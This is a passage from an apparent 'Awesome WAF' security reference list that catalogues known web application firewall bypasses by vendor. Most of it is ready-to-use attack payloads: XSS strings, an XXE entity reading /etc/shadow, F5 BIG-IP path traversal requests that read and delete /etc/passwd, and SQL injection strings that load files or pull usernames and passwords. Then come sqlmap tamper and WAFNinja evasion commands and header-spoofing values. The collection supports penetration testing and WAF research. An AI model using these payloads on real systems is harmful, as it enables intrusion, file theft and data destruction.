.source)" />

clave XSS (v4.02) by @DavidK

/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

Fortinet Fortiweb

pcre_expression unvaidated XSS by @Benjamin Mejri

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP Bypass by @Binar10

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

XSS Bypass by @WAFNinja

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

XSS Bypass by @WAFNinja

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

POST Based XXE by @Anonymous

<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

F5 BIG-IP Directory Traversal by @Anastasios Monachos

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

SQLi Bypass from @Anonymous

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+

Imperva SecureSphere

Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
XSS Bypass by @Alra3ees

anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

XSS Bypass by @WAFNinja

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

XSS Bypass by @i_bo0om

<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>

XSS Bypass by @c0d3g33k

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

SQLi Bypass by @DRK1WI

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'

SQLi by @Giuseppe D'Amore

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL

WebKnight

Cross Site Scripting by @WAFNinja

<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>

SQLi by @WAFNinja

0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)

QuickDefense

Cross Site Scripting by @WAFNinja

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Apache

Writing method type in lowercase by @i_bo0om

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS

Tabs before method by @i_bo0om

GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Kona SiteDefender

XSS Bypass by @zseano

?"></script><base%20c%3D=href%3Dhttps:\mysite>

Awesome Tools

Fingerprinting:

1. Fingerprinting with NMap :

Source: GitHub | SVN

Normal WAF Fingerprinting

nmap --script=http-waf-fingerprint <target>
Intensive WAF Fingerprinting

nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <target>
Generic Detection

nmap --script=http-waf-detect <target>

2. Fingerprinting with WafW00f :

Source: GitHub | Pypi

wafw00f <target>

Testing:

WAFBench - A WAF performance testing suite by Microsoft .
WAF Testing Framework - A free WAF testing tool by Imperva .

Evasion:

1. Evading WAFs with SQLMap Tamper Scripts :

General Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Generic Tamper Testing

sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

2. Evading WAFs with WAFNinja

Source: GitHub

Fuzzing

python wafninja.py fuzz -u <target> -t xss
Bypassing

python wafninja.py bypass -u <target> -p "name=<payload>&Submit=Submit" -t xss
Insert Fuzzing

python wafninja.py insert-fuzz -i select -e select -t sql

3. Evading WAFs with WhatWaf :

Source: GitHub

whatwaf -u <target> --ra --throttle 2

4. Evading with Bypass WAF - BurpSuite :

Source: Burp Suite App Store

Bypass WAF adds some headers to evade some WAF products:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

Create a session handling rule in Burp that invokes this extension.
Modify the scope to include applicable tools and URLs.
Configure the bypass options on the "Bypass WAF" tab.

Blogs and Writeups

Video Presentations

Presentations & Research Papers

Research Papers:

Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys .
Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
Bypassing Web Application Firewalls with HTTP Parameter Pollution - A ressearch paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
WAF Evasion Testing - A WAF evasion testing guide from SANS .
WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium .
WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam .
Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.

Presentations:

Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP .
WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP .
Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12 .
Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16 .
WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09
Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16 .

Credits & License:

This work has been presented by Infected Drake (0xInfection) and is licensed under the Apache 2.0 License .

Awesome WAF

Contents:

Introduction:

How WAFs Work:

Operation Modes:

Testing Methodology:

Where To Look:

Detection Techniques:

WAF Fingerprints

Evasion Techniques

Fuzzing/Bruteforcing:

Method:

Technique:

Drawbacks:

Regex-Reversing:

Method:

Techniques:

Keyword Filter Detection/Bypass

• Step 1:

• Step 2:

• Step 3:

• Step 4:

• Step 5:

• Step 6:

• Step 7:

• Step 8:

• Step 9:

Obfuscation:

Method:

Techniques:

1. Case Toggling

2. URL Encoding

3. Unicode Encoding

4. HTML Encoding

5. Mixed Encoding

Obfuscated:

6. Using Comments

7. Double Encoding

8. Wildcard Encoding

9. String Concatenation

9. Junk Chars

10. Line Breaks

11. Uninitialized Variables

Browser Bugs:

Charset Bugs:

Null Bytes:

Parsing Bugs:

Unicode Separators:

Request Header Spoofing:

Method:

Technique:

Google Dorks Approach:

Method:

Techniques:

Known Bypasses: Incomplete

Citrix NetScaler

Cloudflare

Comodo

Barracuda

DotDefender

Fortinet Fortiweb

F5 ASM

F5 BIG-IP

F5 FirePass

Imperva SecureSphere

WebKnight

QuickDefense

Apache

IIS

Kona SiteDefender

Awesome Tools

Fingerprinting:

Testing:

Evasion:

Blogs and Writeups

Video Presentations

Presentations & Research Papers

Research Papers:

Presentations:

Known Bypasses: `Incomplete`